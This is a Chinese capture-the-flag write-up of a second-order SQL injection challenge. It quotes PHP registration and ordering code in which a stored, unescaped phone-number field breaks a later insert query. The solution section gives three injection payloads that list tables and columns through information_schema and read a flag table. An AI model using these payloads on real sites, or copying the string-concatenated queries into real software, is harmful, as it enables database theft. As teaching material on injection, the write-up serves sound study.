0x00 前言
改自第四届铁三的有问题的唯一 一道web题
一道比较简单的二次注入题,原理很简单,主要是看是否细心
0x01 代码分析 关键点主要是在register.php
和index.php
首先看register.php
用于注册用户的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 if (isset ($_POST ['username' ])&&isset ($_POST ['password1' ])&&isset ($_POST ['password2' ])&&isset ($_POST ['mobile_phone' ])&&isset ($_POST ['address' ])){ $username =addslashes ($_POST ['username' ]); $password1 =addslashes ($_POST ['password1' ]); $password2 =addslashes ($_POST ['password2' ]); $mobile =addslashes ($_POST ['mobile_phone' ]); $address =addslashes ($_POST ['address' ]); if ($password1 !=$password2 ){ echo "<p class='lead'>两次密码不一致</p>" ; exit ; } if (strlen ($username )>30 ){ echo "<p class='lead'>用户名长度不能大于30个字符</p>" ; exit ; } $sql_select ="select * from users where username='" .$username ."'" ; $rows =mysqli_query ($link ,$sql_select ); echo "<br><br>" ; if (mysqli_num_rows ($rows )>0 ){ echo '<script>alert("用户名已存在");window.location="register.php"</script>' ; } else { $sql ='insert into users (username,password,mobile_phone,address) values("' .$username .'","' .md5 ($password1 ).'","' .$mobile .'","' .$address .'")' ; $result =(mysqli_query ($link ,$sql )) or die (mysqli_error ($link )); if (!$result ){ echo "<script>alert('注册失败');window.location='register.php';</script>" ; }else { echo "<script>window.location='login.php';</script>" ; } } echo "<br><br>" ; }
其中对每个传入的参数都用addslashes()
进行了处理,即添加转义符合,会转义单引号和双引号等
他执行的sql语句为
1 $sql ='insert into users (username,password,mobile_phone,address) values("' .$username .'","' .md5 ($password1 ).'","' .$mobile .'","' .$address .'")' ;
注意,这里的values里的数据是使用双引号"
进行闭合的
然后再看index.php
通读代码,可以知道,他这里的业务逻辑就是,当年点击购买的时候,就会将相关的数据插入orders表,然后跳转到buy.php
,并读取orders表中的数据进行显示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 if (isset ($_GET ['id' ])){ $uid =$_SESSION ['uid' ]; $gid =addslashes ($_GET ['id' ]); $sql1 ="select * from users where id='" .$uid ."'" ; $sql2 ="select * from goods where id='" .$gid ."'" ; $result1 =mysqli_query ($link ,$sql1 ); $result2 =mysqli_query ($link ,$sql2 ); if (mysqli_num_rows ($result1 )>0 &&mysqli_num_rows ($result2 )>0 ){ $r1 =mysqli_fetch_array ($result1 ); $user =addslashes ($r1 ['username' ]); $address =addslashes ($r1 ['address' ]); $mobile =$r1 ['mobile_phone' ]; $r2 =mysqli_fetch_array ($result2 ); $product =$r2 ['product' ]; $price =$r2 ['price' ]; $sql ="insert into orders(price,username,mobile_phone,address,product) values('" .$price ."','" .$user ."','" .$mobile ."','" .$address ."','" .$product ."'); " ; print_r ($sql ); $result =mysqli_query ($link ,$sql ); var_dump ($result ); if ($result ){ $order_id =mysqli_insert_id ($link ); header ("Location: buy.php?id=" .$order_id ); exit ; } } }
在这里可以发现,在插入orders的数据里,只有$r1['mobile_phone']
是没有被addslashes()
进行转义的
而且他的sql语句为
1 $sql ="insert into orders(price,username,mobile_phone,address,product) values('" .$price ."','" .$user ."','" .$mobile ."','" .$address ."','" .$product ."'); " ;
values里的数据是通过单引号进行闭合的,和register.php里刚好是相反的
所以这里可以进行二次注入
假设在注册用户的时候,将mobile_phone的值设置为asd'
,在插入数据的时候,在mysql里执行的语句就是
1 insert into users (username,password,mobile_phone,address) values ("xxx","xxxx","asd\'","xxxx")
然后存储在数据库里的数据就是asd'
。
在index.php
将对应的数据取出来的时候,取的值依旧是asd'
,由于他没有对mobile_phone的值进行转义,所以用来闭合前面的单引号,造成二次注入
在给orders表插入数据的时候,在mysql里执行的语句就会变成
1 insert into orders(price,username,mobile_phone,address,product) values ('xxxx' ,'xxx' ,'asd'',' xxxx',' xxxx');
所以可以通过构造mobile_phone的值进行二次注入
0x02 题解 payload
1 2 3 4 5 123',(select GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),1)-- qwe 123',(select GROUP_CONCAT(column_name) from information_schema.columns where table_schema=database() and table_name='flllllag'),1)-- qwe 123',(select flag from flllllag),1)-- qwe
在注册的时候将这些值设置为mobile_phone参数,然后购买东西就可以完成二次注入,得到想要是数据